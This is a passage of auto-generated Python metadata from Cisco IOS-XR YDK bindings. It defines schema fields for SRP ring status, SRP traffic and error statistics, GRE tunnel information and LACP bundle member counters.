'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo',
False,
[
_MetaInfoClassMember('inner-fail-type', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Inner fail type
''',
'inner_fail_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-announce', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is announcing enabled
''',
'is_announce',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-inner-ring-in-use', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the inner ring in use
''',
'is_inner_ring_in_use',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-outer-ring-in-use', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the outer ring in use
''',
'is_outer_ring_in_use',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-wrong-version-received', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Wrong version recieved
''',
'is_wrong_version_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-wrong-version-receive-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time that last wrong version message recieved
''',
'last_wrong_version_receive_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', ATTRIBUTE, 'str' , None, None,
[], [],
''' SRR node mac address
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('next-srr-packet-send-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time remaining in seconds to next SRR packet
send
''',
'next_srr_packet_send_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-state', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrNodeStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrNodeStateEnum',
[], [],
''' SRR node state
''',
'node_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('nodes-not-on-ring', REFERENCE_LIST, 'NodesNotOnRing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesNotOnRing',
[], [],
''' nodes not in topology map
''',
'nodes_not_on_ring',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('nodes-on-ring', REFERENCE_LIST, 'NodesOnRing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesOnRing',
[], [],
''' List of nodes on the ring info
''',
'nodes_on_ring',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('outer-fail-type', REFERENCE_ENUM_CLASS, 'SrpMgmtSrrFailureEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SrpMgmtSrrFailureEnum',
[], [],
''' Outer fail type
''',
'outer_fail_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-send-timer', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SRR packet send timer interval in seconds
''',
'packet_send_timer',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('single-ring-bw', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Single ring bandwidth Mbps
''',
'single_ring_bw',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('version-number', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Version number
''',
'version_number',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SRR Wait To Restore interval delay in seconds
''',
'wtr_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-timer-remaining-inner-ring', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time remaining in seconds until next inner ring
wrap removal
''',
'wtr_timer_remaining_inner_ring',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('wtr-timer-remaining-outer-ring', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time remaining in seconds until next outer ring
wrap removal
''',
'wtr_timer_remaining_outer_ring',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'srr-detailed-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo',
False,
[
_MetaInfoClassMember('is-admin-down', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the interfaceadministratively down
''',
'is_admin_down',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-srr-enabled', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' SRR enabled
''',
'is_srr_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srr-detailed-info', REFERENCE_LIST, 'SrrDetailedInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo',
[], [],
''' SRP information
''',
'srr_detailed_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'srr-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo.RateLimitDetailedInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo.RateLimitDetailedInfo',
False,
[
_MetaInfoClassMember('min-priority-value', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Minimum SRP priority for high-priority transmit
queue
''',
'min_priority_value',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'rate-limit-detailed-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo',
False,
[
_MetaInfoClassMember('is-admin-down', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Is the interfaceadministratively down
''',
'is_admin_down',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rate-limit-detailed-info', REFERENCE_LIST, 'RateLimitDetailedInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo.RateLimitDetailedInfo',
[], [],
''' SRP rate limit information
''',
'rate_limit_detailed_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'rate-limit-info',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_',
False,
[
_MetaInfoClassMember('ips-info', REFERENCE_CLASS, 'IpsInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo',
[], [],
''' SRP IPS information
''',
'ips_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('rate-limit-info', REFERENCE_CLASS, 'RateLimitInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo',
[], [],
''' SRP rate limit information
''',
'rate_limit_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srr-info', REFERENCE_CLASS, 'SrrInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo',
[], [],
''' SRP SRR information
''',
'srr_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('topology-info', REFERENCE_CLASS, 'TopologyInfo' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo',
[], [],
''' SRP topology information
''',
'topology_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'srp-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideADataRate' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideADataRate',
False,
[
_MetaInfoClassMember('bit-rate-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received bit rate
''',
'bit_rate_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bit-rate-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Sent bit rate
''',
'bit_rate_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-rate-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received packet rate
''',
'packet_rate_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-rate-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Sent packet rate
''',
'packet_rate_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-a-data-rate',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBDataRate' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBDataRate',
False,
[
_MetaInfoClassMember('bit-rate-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received bit rate
''',
'bit_rate_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bit-rate-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Sent bit rate
''',
'bit_rate_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-rate-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received packet rate
''',
'packet_rate_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packet-rate-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Sent packet rate
''',
'packet_rate_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-b-data-rate',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideAErrors' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideAErrors',
False,
[
_MetaInfoClassMember('crc-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input CRC errors
''',
'crc_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('error-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Error packets received
''',
'error_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-aborts-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Aborts received at framer
''',
'framer_aborts_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-giant-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too large packets received at framer
''',
'framer_giant_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-runt-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too small packets received at framer
''',
'framer_runt_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-insufficient-resource-events', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input insufficient resources events
''',
'input_insufficient_resource_events',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-aborts-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Aborts received at MAC/RAC
''',
'mac_aborts_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-giant-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too large packets received at MAC/RAC
''',
'mac_giant_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-runt-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too small packets received at MAC/RAC
''',
'mac_runt_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-a-errors',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBErrors' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBErrors',
False,
[
_MetaInfoClassMember('crc-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input CRC errors
''',
'crc_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('error-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Error packets received
''',
'error_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-aborts-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Aborts received at framer
''',
'framer_aborts_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-giant-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too large packets received at framer
''',
'framer_giant_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framer-runt-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too small packets received at framer
''',
'framer_runt_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-insufficient-resource-events', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input insufficient resources events
''',
'input_insufficient_resource_events',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-aborts-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Aborts received at MAC/RAC
''',
'mac_aborts_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-giant-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too large packets received at MAC/RAC
''',
'mac_giant_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-runt-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Too small packets received at MAC/RAC
''',
'mac_runt_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'side-b-errors',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics',
False,
[
_MetaInfoClassMember('data-rate-interval', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Data rate interval (5 mins or 30 seconds)
''',
'data_rate_interval',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-a-data-rate', REFERENCE_CLASS, 'SideADataRate' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideADataRate',
[], [],
''' Data rates for side A interface
''',
'side_a_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-a-errors', REFERENCE_CLASS, 'SideAErrors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideAErrors',
[], [],
''' Errors for side A interface
''',
'side_a_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-b-data-rate', REFERENCE_CLASS, 'SideBDataRate' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBDataRate',
[], [],
''' Data rates for side B interface
''',
'side_b_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('side-b-errors', REFERENCE_CLASS, 'SideBErrors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBErrors',
[], [],
''' Errors for side B interface
''',
'side_b_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'srp-statistics',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation',
False,
[
_MetaInfoClassMember('srp-information', REFERENCE_CLASS, 'SrpInformation_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_',
[], [],
''' SRP-specific data
''',
'srp_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srp-statistics', REFERENCE_CLASS, 'SrpStatistics' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics',
[], [],
''' SRP-specific packet and byte counters
''',
'srp_statistics',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'srp-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelInformation',
False,
[
_MetaInfoClassMember('destination-ipv4-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Tunnel destination IP address
''',
'destination_ipv4_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('key', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' GRE tunnel key
''',
'key',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('source-ipv4-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Tunnel source IP address
''',
'source_ipv4_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('source-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Tunnel source name
''',
'source_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' GRE tunnel TTL
''',
'ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-type', ATTRIBUTE, 'str' , None, None,
[], [],
''' Tunnel protocol/transport
''',
'tunnel_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'tunnel-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.Counters' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.Counters',
False,
[
_MetaInfoClassMember('defaulted', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' State flag set to Defaulted
''',
'defaulted',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('excess-lacpd-us-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' LACPDUs received that exceed the rate limit
''',
'excess_lacpd_us_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('excess-marker-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Marker packets received that exceed the rate
limit
''',
'excess_marker_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('expired', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' State flag set to Expired
''',
'expired',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('illegal-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Illegal and unknown packets received
''',
'illegal_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('lacpd-us-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' LACPDUs received
''',
'lacpd_us_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('lacpd-us-transmitted', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' LACPDUs transmitted
''',
'lacpd_us_transmitted',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-cleared-nsec', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Last time counters cleared (nsec) (deprecated)
''',
'last_cleared_nsec',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-cleared-sec', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Last time counters cleared (s) (deprecated)
''',
'last_cleared_sec',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('marker-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Marker packets received
''',
'marker_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('marker-responses-transmitted', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Marker response packets transmitted
''',
'marker_responses_transmitted',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'counters',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.LinkData' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.LinkData',
False,
[
_MetaInfoClassMember('actor-operational-key', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Operational key for this port
''',
'actor_operational_key',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actor-port-id', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Port number of this port
''',
'actor_port_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actor-port-priority', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Priority of this port
''',
'actor_port_priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actor-port-state', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' LACP state of this port
''',
'actor_port_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actor-system-mac-address', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' MAC Address of the actor system
''',
'actor_system_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('actor-system-priority', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' System priority of actor system
''',
'actor_system_priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('attached-aggregator-id', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' MIB ifindex of attached bundle
''',
'attached_aggregator_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-handle', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Member's interface handle
''',
'interface_handle',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-operational-key', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Operational key for partner port
''',
'partner_operational_key',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-port-id', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Port number of the partner's port
